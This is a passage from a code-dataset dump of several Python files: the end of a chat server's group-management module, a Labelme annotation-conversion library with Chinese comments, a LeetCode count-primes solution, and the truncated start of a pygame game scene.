'back_data':\"0000\",\n 'content':{\n 'group_id':group_id,\n 'group_name':group_name,\n }\n }\n back_json_data = json.dumps(back_data).encode('utf-8')\n# socket.sendall(back_json_data)\n for member_id in member_id:\n if member_id in online_clients:\n receiver_socket, _ = online_clients[member_id]\n receiver_socket.send(back_json_data) \n else:\n pass\n\n\n","repo_name":"TT2TER/Echoplex","sub_path":"server/group_management.py","file_name":"group_management.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"6385079393","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Author : 陈坤泽\n# @Email : 877362867@qq.com\n# @Date : 2020/08/15 00:59\n\nimport os\nfrom tqdm import tqdm\nimport json\nimport ujson\nimport copy\nfrom collections import Counter\n\nimport numpy as np\n\nfrom pyxllib.prog.newbie import round_int\nfrom pyxllib.prog.pupil import DictTool\nfrom pyxllib.prog.specialist import get_xllog, Iterate\nfrom pyxllib.file.specialist import PathGroups, get_encoding, XlPath\nfrom pyxllib.prog.specialist import mtqdm\nfrom pyxllib.cv.expert import xlpil\nfrom pyxllib.algo.geo import ltrb2xywh, rect_bounds, warp_points, resort_quad_points, rect2polygon, get_warp_mat\n\n\ndef __0_basic():\n \"\"\" 这里可以写每个模块注释 \"\"\"\n\n\nclass BasicLabelDataset:\n \"\"\" 一张图一份标注文件的一些基本操作功能 \"\"\"\n\n def __init__(self, root, relpath2data=None, *, reads=True, prt=False, fltr=None, slt=None, extdata=None):\n \"\"\"\n :param root: 数据所在根目录\n :param dict[str, readed_data] relpath2data: {relpath: data1, 'a/1.txt': data2, ...}\n 如果未传入data具体值,则根据目录里的情况自动初始化获得data的值\n\n relpath是对应的XlPath标注文件的相对路径字符串\n data1, data2 是读取的标注数据,根据不同情况,会存成不同格式\n 如果是json则直接保存json内存对象结构\n 如果是txt可能会进行一定的结构化解析存储\n :param extdata: 可以存储一些扩展信息内容\n :param fltr: filter的缩写,PathGroups 的过滤规则。一般用来进行图片匹配。\n None,没有过滤规则,就算不存在slt格式的情况下,也会保留分组\n 'json'等字符串规则, 使用 select_group_which_hassuffix,必须含有特定后缀的分组\n judge(k, v),自定义函数规则\n :param slt: select的缩写,要选中的标注文件后缀格式\n 如果传入slt参数,该 Basic 基础类只会预设好 file 参数,数据部分会置 None,需要后续主动读取\n\n >> BasicLabelData('textGroup/aabb', {'a.json': ..., 'a/1.json': ...})\n >> BasicLabelData('textGroup/aabb', slt='json')\n >> BasicLabelData('textGroup/aabb', fltr='jpg', slt='json') # 只获取有对应jpg图片的json文件\n >> BasicLabelData('textGroup/aabb', fltr='jpg|png', slt='json')\n \"\"\"\n\n # 1 基础操作\n root = XlPath(root)\n self.root, self.rp2data, self.extdata = root, relpath2data or {}, extdata or {}\n self.pathgs = None\n\n if relpath2data is not None or slt is None:\n return\n\n # 2 如果没有默认data数据,以及传入slt参数,则需要使用默认文件关联方式读取标注\n relpath2data = {}\n gs = PathGroups.groupby(XlPath(root).rglob_files())\n if isinstance(fltr, str):\n gs = gs.select_group_which_hassuffix(fltr)\n elif callable(fltr):\n gs = gs.select_group(fltr)\n self.pathgs = gs\n\n # 3 读取数据\n for stem, suffixs in tqdm(gs.data.items(), f'{self.__class__.__name__}读取数据', disable=not prt):\n f = XlPath(stem + f'.{slt}')\n if reads and f.exists():\n # dprint(f) # 空json会报错:json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)\n relpath2data[f.relpath(self.root)] = f.read_auto()\n else:\n relpath2data[f.relpath(self.root)] = None\n\n self.rp2data = relpath2data\n\n def __len__(self):\n return len(self.rp2data)\n\n def read(self, relpath, **kwargs):\n \"\"\"\n :param relpath: 必须是斜杠表示的相对路径 'a/1.txt'、'b/2.json'\n \"\"\"\n self.rp2data[relpath] = (self.root / relpath).read_auto(**kwargs)\n\n def reads(self, prt=False, **kwargs):\n \"\"\" 为了性能效率,初始化默认不会读取数据,需要调用reads才会开始读取数据 \"\"\"\n for k in tqdm(self.rp2data.keys(), f'读取{self.__class__.__name__}数据', disable=not prt):\n self.rp2data[k] = (self.root / k).read_auto(**kwargs)\n\n def write(self, relpath, **kwargs):\n \"\"\"\n :param relpath: 必须是斜杠表示的相对路径 'a/1.txt'、'b/2.json'\n \"\"\"\n data = self.rp2data[relpath]\n file = self.root / relpath\n if file.is_file(): # 如果文件存在,要遵循原有的编码规则\n with open(str(file), 'rb') as f:\n bstr = f.read()\n encoding = get_encoding(bstr)\n kwargs['encoding'] = encoding\n kwargs['if_exists'] = 'replace'\n file.write_auto(data, **kwargs)\n else: # 否则直接写入\n file.write_auto(data, **kwargs)\n\n def writes(self, *, max_workers=8, print_mode=False, **kwargs):\n \"\"\" 重新写入每份标注文件\n\n 可能是内存里修改了数据,需要重新覆盖\n 也可能是从coco等其他格式初始化,转换而来的内存数据,需要生成对应的新标注文件\n \"\"\"\n mtqdm(lambda x: self.write(x, **kwargs), self.rp2data.keys(), desc=f'{self.__class__.__name__}写入标注数据',\n max_workers=max_workers, disable=not print_mode)\n\n\ndef __1_labelme():\n \"\"\" \"\"\"\n\n\n# 我自己按照“红橙黄绿蓝靛紫”的顺序展示\nLABEL_COLORMAP7 = [(0, 0, 0), (255, 0, 0), (255, 125, 0), (255, 255, 0),\n (0, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255)]\n\n\ndef is_labelme_json_data(data):\n \"\"\" 是labelme的标注格式\n :param data: dict\n :return: True or False\n \"\"\"\n if not isinstance(data, dict):\n return False\n has_keys = set('version flags shapes imagePath imageData imageHeight imageWidth'.split())\n return not (has_keys - data.keys())\n\n\ndef reduce_labelme_jsonfile(jsonpath):\n \"\"\" 删除imageData \"\"\"\n p = str(jsonpath)\n\n with open(p, 'rb') as f:\n bstr = f.read()\n encoding = get_encoding(bstr)\n data = ujson.loads(bstr.decode(encoding=encoding))\n\n if is_labelme_json_data(data) and data['imageData']:\n data['imageData'] = None\n XlPath(p).write_json(data, encoding=encoding, if_exists='replace')\n\n\ndef reduce_labelme_dir(d, print_mode=False):\n \"\"\" 精简一个目录里的所有labelme json文件 \"\"\"\n\n def printf(*args, **kwargs):\n if print_mode:\n print(*args, **kwargs)\n\n i = 0\n for f in XlPath(d).rglob_files('*.json'):\n data = f.read_json()\n if data.get('imageData'):\n data['imageData'] = None\n f.write_json(data)\n i += 1\n printf(i, f)\n\n\nclass ToLabelmeJson:\n \"\"\" 标注格式转label形式\n\n 初始化最好带有图片路径,能获得一些相关有用的信息\n 然后自定义实现一个 get_data 接口,实现self.data的初始化,运行完可以从self.data取到字典数据\n 根据需要可以定制自己的shape,修改get_shape函数\n 可以调用write写入文件\n\n document: https://www.yuque.com/xlpr/pyxllib/ks5h4o\n \"\"\"\n\n # 可能有其他人会用我库的高级接口,不应该莫名其妙报警告。除非我先实现自己库内该功能的剥离\n # @deprecated(reason='建议使用LabelmeData实现')\n def __init__(self, imgpath):\n \"\"\"\n :param imgpath: 可选参数图片路径,强烈建议要输入,否则建立的label json会少掉图片宽高信息\n \"\"\"\n self.imgpath = XlPath(imgpath)\n # 读取图片数据,在一些转换规则比较复杂,有可能要用到原图数据\n if self.imgpath:\n # 一般都只需要获得尺寸,用pil读取即可,速度更快,不需要读取图片rgb数据\n self.img = xlpil.read(self.imgpath)\n else:\n self.img = None\n self.data = self.get_data_base() # 存储json的字典数据\n\n def get_data(self, infile):\n \"\"\" 格式转换接口函数,继承的类需要自己实现这个方法\n\n :param infile: 待解析的标注数据\n \"\"\"\n raise NotImplementedError('get_data方法必须在子类中实现')\n\n def get_data_base(self, name='', height=0, width=0):\n \"\"\" 获得一个labelme标注文件的框架 (这是标准结构,也可以自己修改定制)\n\n 如果初始化时没有输入图片,也可以这里传入name等的值\n \"\"\"\n # 1 默认属性,和图片名、尺寸\n if self.imgpath:\n name = self.imgpath.name\n height, width = self.img.height, self.img.width\n # 2 构建结构框架\n data = {'version': '4.5.6',\n 'flags': {},\n 'shapes': [],\n 'imagePath': name,\n 'imageData': None,\n 'imageWidth': width,\n 'imageHeight': height,\n }\n return data\n\n def get_shape(self, label, points, shape_type=None, dtype=None, group_id=None, **kwargs):\n \"\"\" 最基本的添加形状功能\n\n :param shape_type: 会根据points的点数量,智能判断类型,默认一般是polygon\n 其他需要自己指定的格式:line、circle\n :param dtype: 可以重置points的存储数值类型,一般是浮点数,可以转成整数更精简\n :param group_id: 本来是用来分组的,但其值会以括号的形式添加在label后面,可以在可视化中做一些特殊操作\n \"\"\"\n # 1 优化点集数据格式\n points = np.array(points, dtype=dtype).reshape(-1, 2).tolist()\n # 2 判断形状类型\n if shape_type is None:\n m = len(points)\n if m == 1:\n shape_type = 'point'\n elif m == 2:\n shape_type = 'rectangle'\n elif m >= 3:\n shape_type = 'polygon'\n else:\n raise ValueError\n # 3 创建标注\n shape = {'flags': {},\n 'group_id': group_id,\n 'label': str(label),\n 'points': points,\n 'shape_type': shape_type}\n shape.update(kwargs)\n return shape\n\n def get_shape2(self, **kwargs):\n \"\"\" 完全使用字典的接口形式 \"\"\"\n label = kwargs.get('label', '')\n points = kwargs['points'] # 这个是必须要有的字段\n kw = copy.deepcopy(kwargs)\n del kw['label']\n del kw['points']\n return self.get_shape(label, points, **kw)\n\n def add_shape(self, *args, **kwargs):\n self.data['shapes'].append(self.get_shape(*args, **kwargs))\n\n def add_shape2(self, **kwargs):\n self.data['shapes'].append(self.get_shape2(**kwargs))\n\n def write(self, dst=None, if_exists='replace'):\n \"\"\"\n :param dst: 往dst目标路径存入json文件,默认名称在self.imgpath同目录的同名json文件\n :return: 写入后的文件路径\n \"\"\"\n if dst is None and self.imgpath:\n dst = self.imgpath.with_suffix('.json')\n # 官方json支持indent=None的写法,但是ujson必须要显式写indent=0\n return XlPath(dst).write_auto(self.data, if_exists=if_exists, indent=0)\n\n @classmethod\n def create_json(cls, imgpath, annotation):\n \"\"\" 输入图片路径p,和对应的annotation标注数据(一般是对应目录下txt文件) \"\"\"\n try:\n obj = cls(imgpath)\n except TypeError as e: # 解析不了的输出错误日志\n get_xllog().exception(e)\n return\n obj.get_data(annotation)\n obj.write() # 保存json文件到img对应目录下\n\n @classmethod\n def main_normal(cls, imdir, labeldir=None, label_file_suffix='.txt'):\n \"\"\" 封装更高层的接口,输入目录,直接标注目录下所有图片\n\n :param imdir: 图片路径\n :param labeldir: 标注数据路径,默认跟imdir同目录\n :return:\n \"\"\"\n ims = XlPath(imdir).rglob_images()\n if not labeldir: labeldir = imdir\n txts = [(XlPath(labeldir) / (f.stem + label_file_suffix)) for f in ims]\n cls.main_pair(ims, txts)\n\n @classmethod\n def main_pair(cls, images, labels):\n \"\"\" 一一配对匹配处理 \"\"\"\n Iterate(zip(images, labels)).run(lambda x: cls.create_json(x[0], x[1]),\n pinterval='20%', max_workers=8)\n\n\nclass Quad2Labelme(ToLabelmeJson):\n \"\"\" 四边形类标注转labelme \"\"\"\n\n def get_data(self, infile):\n lines = XlPath(infile).read_text().splitlines()\n for line in lines:\n # 一般是要改这里,每行数据的解析规则\n vals = line.split(',', maxsplit=8)\n if len(vals) < 9: continue\n pts = [int(v) for v in vals[:8]] # 点集\n label = vals[-1] # 标注的文本\n # get_shape还有shape_type形状参数可以设置\n # 如果是2个点的矩形,或者3个点以上的多边形,会自动判断,不用指定shape_type\n self.add_shape(label, pts)\n\n\nclass LabelmeDict:\n \"\"\" Labelme格式的字典数据\n\n 这里的成员函数基本都是原地操作\n \"\"\"\n\n @classmethod\n def gen_data(cls, imfile=None, **kwargs):\n \"\"\" 主要框架结构\n :param imfile: 可以传入一张图片路径\n \"\"\"\n # 1 传入图片路径的初始化\n if imfile:\n file = XlPath(imfile)\n name = file.name\n img = xlpil.read(file)\n height, width = img.height, img.width\n else:\n name, height, width = '', 0, 0\n\n # 2 字段值\n data = {'version': '5.1.7',\n 'flags': {},\n 'shapes': [],\n 'imagePath': name,\n 'imageData': None,\n 'imageWidth': width,\n 'imageHeight': height,\n }\n if kwargs:\n data.update(kwargs)\n return data\n\n @classmethod\n def gen_ocr_data(cls, imfile=None, **kwargs):\n \"\"\"\" 支持调用PaddleOCR进行预识别\n\n 该接口是为了方便性保留,更推荐使用 PaddleOCR.labelme_ocr 的功能进行批量识别\n \"\"\"\n from paddleocr import PaddleOCR\n ppocr = PaddleOCR.get_paddleocr()\n\n data = cls.gen_data(imfile, **kwargs)\n lines = ppocr.ocr(str(imfile))\n for line in lines:\n pts, [text, score] = line\n pts = [[int(p[0]), int(p[1])] for p in pts] # 转整数\n sp = cls.gen_shape({'text': text, 'score': round(float(score), 4)}, pts)\n data['shapes'].append(sp)\n return data\n\n @classmethod\n def gen_shape(cls, label, points, shape_type=None, dtype=None, group_id=None, **kwargs):\n \"\"\" 最基本的添加形状功能\n\n :param label: 支持输入dict类型,会编码为json格式的字符串\n :param shape_type: 会根据points的点数量,智能判断类型,默认一般是polygon\n 其他需要自己指定的格式:line、circle\n :param dtype: 可以重置points的存储数值类型,一般是浮点数,可以转成整数更精简\n :param group_id: 本来是用来分组的,但其值会以括号的形式添加在label后面,可以在可视化中做一些特殊操作\n \"\"\"\n # 1 优化点集数据格式\n points = np.array(points, dtype=dtype).reshape(-1, 2).tolist()\n # 2 判断形状类型\n if shape_type is None:\n m = len(points)\n if m == 1:\n shape_type = 'point'\n elif m == 2:\n shape_type = 'rectangle'\n elif m >= 3:\n shape_type = 'polygon'\n else:\n raise ValueError\n # 3 创建标注\n if isinstance(label, dict):\n label = json.dumps(label, ensure_ascii=False)\n shape = {'flags': {},\n 'group_id': group_id,\n 'label': str(label),\n 'points': points,\n 'shape_type': shape_type}\n shape.update(kwargs)\n return shape\n\n @classmethod\n def gen_shape2(cls, **kwargs):\n \"\"\" 完全使用字典的接口形式 \"\"\"\n label = kwargs.get('label', '')\n points = kwargs['points'] # 这个是必须要有的字段\n kw = copy.deepcopy(kwargs)\n if 'label' in kw:\n del kw['label']\n if 'points' in kw:\n del kw['points']\n return cls.gen_shape(label, points, **kw)\n\n @classmethod\n def reduce(cls, lmdict, *, inplace=True):\n if not inplace:\n lmdict = copy.deepcopy(lmdict)\n\n lmdict['imageData'] = None\n return lmdict\n\n @classmethod\n def refine_structure(cls, old_json_path, *, old_img_path=None,\n new_stem_name=None, new_img_suffix=None):\n \"\"\" 重置labelme标注文件,这是一个比较综合的调整优化接口\n\n :param old_json_path: 原json路径\n :param old_img_path: 原图路径,可以不填,从old_json_path推算出来\n :param new_stem_name: 新的stem昵称,没写的时候,以json的stem为准\n :param new_img_suffix: 是否要调整图片后缀格式,常用图图片格式统一操作\n 没写的时候,以找到的图片为准,如果图片没找到,则以imagePath的后缀为准\n \"\"\"\n from pyxllib.cv.expert import xlcv\n\n # 1 参数解析\n old_json_path = XlPath(old_json_path)\n parent = old_json_path.parent\n lmdict = old_json_path.read_json()\n\n if old_img_path is None:\n old_img_path = parent / lmdict['imagePath']\n if not old_img_path.is_file():\n # 如果imagePath的图片并不存在,需要用json的名称去推导,如果也还是不存在,就按照imagePath的后缀设置\n try:\n old_img_path = next(parent.glob_images(f'{old_json_path.stem}.*'))\n except StopIteration:\n old_img_path = parent / (old_json_path.stem + XlPath(lmdict['imagePath']).suffix)\n\n if new_stem_name is None:\n new_stem_name = old_json_path.stem\n\n if new_img_suffix is None:\n new_img_suffix = old_img_path.suffix\n\n # 2 重命名、重置\n new_json_path = parent / (new_stem_name + '.json')\n new_img_path = parent / (new_stem_name + new_img_suffix)\n\n # 优化json数据\n cls.reduce(lmdict)\n lmdict['imagePath'] = new_img_path.name\n new_json_path.write_json(lmdict)\n if new_json_path.as_posix() != old_json_path.as_posix():\n old_json_path.delete()\n\n # TODO points浮点过长的优化?xllabelme默认优化了?\n\n # 优化图片\n if old_img_path.is_file():\n xlcv.write(xlcv.read(old_img_path), new_img_path)\n if new_img_path.as_posix() != old_img_path.as_posix():\n old_img_path.delete()\n\n @classmethod\n def flip_points(cls, lmdict, direction, *, inplace=True):\n \"\"\"\n :param direction: points的翻转方向\n 1表示顺时针转90度,2表示顺时针转180度...\n -1表示逆时针转90度,...\n :return:\n \"\"\"\n if not inplace:\n lmdict = copy.deepcopy(lmdict)\n\n w, h = lmdict['imageWidth'], lmdict['imageHeight']\n pts = [[[0, 0], [w, 0], [w, h], [0, h]],\n [[h, 0], [h, w], [0, w], [0, 0]],\n [[w, h], [0, h], [0, 0], [w, 0]],\n [[0, w], [0, 0], [h, 0], [h, w]]]\n warp_mat = get_warp_mat(pts[0], pts[direction % 4])\n\n if direction % 2:\n lmdict['imageWidth'], lmdict['imageHeight'] = lmdict['imageHeight'], lmdict['imageWidth']\n shapes = lmdict['shapes']\n for i, shape in enumerate(shapes):\n pts = [warp_points(x, warp_mat)[0].tolist() for x in shape['points']]\n if shape['shape_type'] == 'rectangle':\n pts = resort_quad_points(rect2polygon(pts))\n shape['points'] = [pts[0], pts[2]]\n elif shape['shape_type'] == 'polygon' and len(pts) == 4:\n shape['points'] = resort_quad_points(pts)\n else: # 其他形状暂不处理,也不报错\n pass\n return lmdict\n\n @classmethod\n def flip_img_and_json(cls, impath, direction):\n \"\"\" 旋转impath,如果有对应的json也会自动处理\n demo_flip_labelme,演示如何使用翻转图片、labelme标注功能\n\n :param XlPath impath: 图片路径\n :param direction: 标记现在图片是哪个方向:0是正常,1是向右翻转,2是向下翻转,3是向左翻转\n 顺时针0123表示当前图片方向\n 甚至该参数可以设成None,没有输入的时候调用模型识别结果,不过那个模型不是很准确,先不搞这种功能\n \"\"\"\n # 图片旋转\n im = xlpil.read(impath)\n im = xlpil.flip_direction(im, direction)\n xlpil.write(im, impath)\n\n # json格式\n jsonpath = impath.with_suffix('.json')\n if jsonpath.exists():\n lmdict = jsonpath.read_json('utf8') # 必须是labelme的格式,其他格式不支持处理哦\n cls.flip_points(lmdict, -direction) # 默认是inplace操作\n jsonpath.write_json(lmdict, 'utf8')\n\n @classmethod\n def update_labelattr(cls, lmdict, *, points=False, inplace=True):\n \"\"\"\n\n :param points: 是否更新labelattr中的points、bbox等几何信息\n 并且在无任何几何信息的情况下,增设points\n \"\"\"\n if not inplace:\n lmdict = copy.deepcopy(lmdict)\n\n for shape in lmdict['shapes']:\n # 1 属性字典,至少先初始化一个label属性\n labelattr = DictTool.json_loads(shape['label'], 'label')\n # 2 填充其他扩展属性值\n keys = set(shape.keys())\n stdkeys = set('label,points,group_id,shape_type,flags'.split(','))\n for k in (keys - stdkeys):\n labelattr[k] = shape[k]\n del shape[k] # 要删除原有的扩展字段值\n\n # 3 处理points等几何信息\n if points:\n if 'bbox' in labelattr:\n labelattr['bbox'] = ltrb2xywh(rect_bounds(shape['points']))\n else:\n labelattr['points'] = shape['points']\n\n # + 写回shape\n shape['label'] = json.dumps(labelattr, ensure_ascii=False)\n return lmdict\n\n @classmethod\n def to_quad_pts(cls, shape):\n \"\"\" 将一个形状标注变成4个点标注的四边形 \"\"\"\n pts = shape['points']\n t = shape['shape_type']\n if t == 'rectangle':\n return rect2polygon(pts)\n elif t == 'polygon':\n if len(pts) != 4:\n # 暂用外接矩形代替\n xs = [p[0] for p in pts]\n ys = [p[1] for p in pts]\n r = [(min(xs), min(ys)), (max(xs), max(ys))]\n pts = rect2polygon(r)\n return pts\n else:\n raise NotImplementedError(f'{t}')\n\n\nclass LabelmeDataset(BasicLabelDataset):\n def __init__(self, root, relpath2data=None, *, reads=True, prt=False, fltr='json', slt='json', extdata=None):\n \"\"\"\n :param root: 文件根目录\n :param relpath2data: {jsonfile: lmdict, ...},其中 lmdict 为一个labelme文件格式的标准内容\n 如果未传入data具体值,则根据目录里的情况自动初始化获得data的值\n\n 210602周三16:26,为了工程等一些考虑,删除了 is_labelme_json_data 的检查\n 尽量通过 fltr、slt 的机制选出正确的 json 文件\n \"\"\"\n super().__init__(root, relpath2data, reads=reads, prt=prt, fltr=fltr, slt=slt, extdata=extdata)\n\n # 已有的数据已经读取了,这里要补充空labelme标注\n if self.pathgs:\n for stem, suffixs in tqdm(self.pathgs.data.items(), f'{self.__class__.__name__}优化数据', disable=not prt):\n f = XlPath(stem + f'.{slt}')\n if reads and not f.exists():\n self.rp2data[f.relpath(self.root)] = LabelmeDict.gen_data(XlPath.init(stem, suffix=suffixs[0]))\n\n # 优化rp2data,去掉一些并不是labelme的字典\n rp2data = {}\n for k, v in self.rp2data.items():\n if is_labelme_json_data(v):\n rp2data[k] = v\n self.rp2data = rp2data\n\n def reduces(self):\n \"\"\" 移除imageData字段值 \"\"\"\n for lmdict in self.rp2data.values():\n LabelmeDict.reduce(lmdict)\n\n def refine_structures(self, *, img_suffix=None):\n \"\"\" 整套labelme数据的重置\n\n :param img_suffix: 是否统一图片的后缀格式,比如.jpg\n\n 不过不同的情景问题不同,请了解清楚这个函数的算法逻辑,能解决什么性质的问题后,再调用\n \"\"\"\n # 有些字典的imagePath可能有错误,可以调用该方法修正\n for jsonfile in tqdm(self.rp2data.keys(), desc='labelme字典优化'):\n LabelmeDict.refine_structure(self.root / jsonfile, new_img_suffix=img_suffix)\n\n def update_labelattrs(self, *, points=False):\n \"\"\" 将shape['label'] 升级为字典类型\n\n 可以处理旧版不动产标注 content_class 等问题\n \"\"\"\n for jsonfile, lmdict in self.rp2data.items():\n LabelmeDict.update_labelattr(lmdict, points=points)\n\n def to_excel(self, savepath):\n \"\"\" 转成dataframe表格查看\n\n 这个细节太多,可以 labelme 先转 coco 后,借助 coco 转 excel\n coco 里会给 image、box 编号,能显示一些补充属性\n \"\"\"\n from pyxlpr.data.coco import CocoParser\n gt_dict = self.to_coco_gt_dict()\n CocoParser(gt_dict).to_excel(savepath)\n\n @classmethod\n def plot(self, img, lmdict):\n \"\"\" 将标注画成静态图 \"\"\"\n raise NotImplementedError\n\n def to_coco_gt_dict(self, categories=None):\n \"\"\" 将labelme转成 coco gt 标注的格式\n\n 分两种大情况\n 1、一种是raw原始数据转labelme标注后,首次转coco格式,这种编号等相关数据都可以重新生成\n raw_data --可视化--> labelme --转存--> coco\n 2、还有种原来就是coco,转labelme修改标注后,又要再转回coco,这种应该尽量保存原始值\n coco --> labelme --手动修改--> labelme' --> coco'\n 这种在coco转labelme时,会做一些特殊标记,方便后续转回coco\n 3、 1, 2两种情况是可以连在一起,然后形成 labelme 和 coco 之间的多次互转的\n\n :param categories: 类别\n 默认只设一个类别 {'id': 0, 'name': 'text', 'supercategory'}\n 支持自定义,所有annotations的category_id\n :return: gt_dict\n 注意,如果对文件顺序、ann顺序有需求的,请先自行操作self.data数据后,再调用该to_coco函数\n 对image_id、annotation_id有需求的,需要使用CocoData进一步操作\n \"\"\"\n from pyxlpr.data.coco import CocoGtData\n\n if not categories:\n if 'categories' in self.extdata:\n # coco 转过来的labelme,存储有原始的 categories\n categories = self.extdata['categories']\n else:\n categories = [{'id': 0, 'name': 'text', 'supercategory': ''}]\n\n # 1 第一轮遍历:结构处理 jsonfile, lmdict --> data(image, shapes)\n img_id, ann_id, data = 0, 0, []\n for jsonfile, lmdict in self.rp2data.items():\n # 1.0 升级为字典类型\n lmdict = LabelmeDict.update_labelattr(lmdict, points=True)\n\n for sp in lmdict['shapes']: # label转成字典\n sp['label'] = json.loads(sp['label'])\n\n # 1.1 找shapes里的image\n image = None\n # 1.1.1 xltype='image'\n for sp in filter(lambda x: x.get('xltype', None) == 'image', lmdict['shapes']):\n image = DictTool.json_loads(sp['label'])\n if not image:\n raise ValueError(sp['label'])\n # TODO 删除 coco_eval 等字段?\n del image['xltype']\n break\n # 1.1.2 shapes里没有图像级标注则生成一个\n if image is None:\n # TODO file_name 加上相对路径?\n image = CocoGtData.gen_image(-1, lmdict['imagePath'],\n lmdict['imageHeight'], lmdict['imageWidth'])\n img_id = max(img_id, image.get('id', -1))\n\n # 1.2 遍历shapes\n shapes = []\n for sp in lmdict['shapes']:\n label = sp['label']\n if 'xltype' not in label:\n # 普通的标注框\n d = sp['label'].copy()\n # DictTool.isub_(d, '')\n ann_id = max(ann_id, d.get('id', -1))\n shapes.append(d)\n elif label['xltype'] == 'image':\n # image,图像级标注数据;之前已经处理了,这里可以跳过\n pass\n elif label['xltype'] == 'seg':\n # seg,衍生的分割标注框,在转回coco时可以丢弃\n pass\n else:\n raise ValueError\n data.append([image, shapes])\n\n # 2 第二轮遍历:处理id等问题\n images, annotations = [], []\n for image, shapes in data:\n # 2.1 image\n if image.get('id', -1) == -1:\n img_id += 1\n image['id'] = img_id\n images.append(image)\n\n # 2.2 annotations\n for sp in shapes:\n sp['image_id'] = img_id\n if sp.get('id', -1) == -1:\n ann_id += 1\n sp['id'] = ann_id\n # 如果没有框类别,会默认设置一个。 (强烈建议外部业务功能代码自行设置好category_id)\n if 'category_id' not in sp:\n sp['category_id'] = categories[0]['id']\n DictTool.isub(sp, ['category_name'])\n ann = CocoGtData.gen_annotation(**sp)\n annotations.append(ann)\n\n # 3 result\n gt_dict = CocoGtData.gen_gt_dict(images, annotations, categories)\n return gt_dict\n\n def to_ppdet(self, outfile=None, print_mode=True):\n \"\"\" 转paddle的文本检测格式\n\n 图片要存相对目录,默认就按self的root参数设置\n \"\"\"\n lines = []\n\n # 1 转成一行行标注数据\n for jsonfile, lmdict in tqdm(self.rp2data.items(), disable=not print_mode):\n shapes = [] # pp格式的标注清单\n\n for sp in lmdict['shapes']:\n attrs = DictTool.json_loads(sp['label'], 'text')\n d = {'transcription': attrs['text'],\n 'points': round_int(LabelmeDict.to_quad_pts(sp), ndim=2)}\n shapes.append(d)\n imfile = os.path.split(jsonfile)[0] + f'/{lmdict[\"imagePath\"]}'\n lines.append(f'{imfile}\\t{json.dumps(shapes, ensure_ascii=False)}')\n\n # 2 输出\n content = '\\n'.join(lines)\n if outfile:\n XlPath(outfile).write_text(content)\n return content\n\n def get_char_count_dict(self):\n \"\"\" 文本识别需要用到的功能,检查字符集出现情况\n\n return dict: 返回一个字典,k是出现的字符,v是各字符出现的次数,按顺序从多到少排序\n 差不多是Counter的结构\n \"\"\"\n texts = []\n for lmdict in self.rp2data.values():\n for sp in lmdict['shapes']:\n text = DictTool.json_loads(sp['label'], 'text')['text']\n texts.append(text)\n ct = Counter(''.join(texts))\n return {k: v for k, v in ct.most_common()}\n\n def check_char_set(self, refdict=None):\n \"\"\" 检查本套labelme数据集里,text字符集出现情况,和paddleocr的识别字典是否有额外新增字符\n \"\"\"\n from pyxllib.algo.specialist import DictCmper\n from pyxlpr.ppocr.utils import get_dict_content\n\n # 0 计算字典\n if refdict is None:\n d1 = get_dict_content('ppocr_keys_v1.txt')\n refdict = {k: 1 for k in d1.split('\\n')}\n\n d2 = self.get_char_count_dict()\n\n print('1 整体统计信息')\n dc = DictCmper({'refdict': refdict, 'chars': d2})\n print(dc.pair_summary())\n\n print('2 新增字符及出现数量(如果只是多出空白字符,可以统一转空格处理)')\n keys = set(list(d2.keys())) - set(list(refdict.keys()))\n sorted(keys, key=lambda k: -d2[k])\n for k in keys:\n print(repr(k), d2[k])\n\n # 3 返回所有新增的非空字符\n return {k for k in keys if k.strip()}\n\n def to_pprec(self, image_dir, txt_path, *, reset=False):\n \"\"\" 转paddle的文本识别格式\n\n :param image_dir: 要导出文本行数据所在的目录\n :param txt_path: 标注文件的路径\n :param reset: 目标目录存在则重置\n \"\"\"\n pass\n\n\nclass ItemFormula:\n \"\"\" 为m2302中科院题库准备的labelme数据相关处理算法\n 如果写到labelme中,其他脚本就复用不了了,所以把核心算法功能写到这里\n\n line_id的功能是动态计算的,参考了与上一个shape的区别,这里暂时不提供静态算法。\n \"\"\"\n\n @classmethod\n def check_label(cls, shapes):\n \"\"\" 检查数据异常 \"\"\"\n # \"删除\" 是否都为手写,并且text为空\n\n @classmethod\n def joint_label(cls, shapes):\n \"\"\" 将shapes的label拼接成一篇文章\n\n :return: [line1, line2, ...]\n \"\"\"\n last_line_id = 1\n paper_text = []\n line_text = []\n for sp in shapes:\n label = json.loads(sp['label'])\n if label['line_id'] != last_line_id:\n last_line_id = label['line_id']\n paper_text.append(' '.join(line_text))\n line_text = []\n\n if label['content_class'] == '公式':\n t = '$' + label['text'] + '$'\n else:\n t = label['text']\n line_text.append(t)\n\n paper_text.append(' '.join(line_text))\n\n return paper_text\n","repo_name":"XLPRUtils/pyxllib","sub_path":"pyxlpr/data/labelme.py","file_name":"labelme.py","file_ext":"py","file_size_in_byte":34760,"program_lang":"python","lang":"zh","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"1368043640","text":"#\n# @lc app=leetcode id=204 lang=python3\n#\n# [204] Count Primes\n#\n\n# @lc code=start\nclass Solution:\n def countPrimes(self, n: int) -> int:\n temp = [False, False] + [True for _ in range(n - 2)]\n for i in range(2, n) :\n if temp[i] : temp[i*i : n : i] = [False] * len(temp[i*i : n : i])\n return sum(temp)\n \n \n# @lc code=end\n\n","repo_name":"quixoteji/Leetcode","sub_path":"solutions/204.count-primes.py","file_name":"204.count-primes.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"75135158224","text":"# -*- coding: utf-8 -*-\n#\n# Created on 2011/02/14\n# Created by giginet\n#\nimport settings\nimport pygame\n\nfrom pywaz.mixer.sound import Sound\nfrom pywaz.sprite.animation import Animation, AnimationInfo\nfrom pywaz.mixer.bgm import BGM\nfrom pywaz.scene.manager import SceneManager\nfrom pywaz.scene.abstractscene import Scene\nfrom pywaz.utils.timer import Timer\n\nfrom main.world import World\nfrom main.navigation import Navigation\nfrom main.gametimer import GameTimer\n\nclass GameScene(Scene):\n BACKGROUND = (153,255,255)\n def ready(self, *args, **kwargs):\n self.num_players = kwargs.get('players', 4)\n self.timer = GameTimer()\n self.sequence_manager = 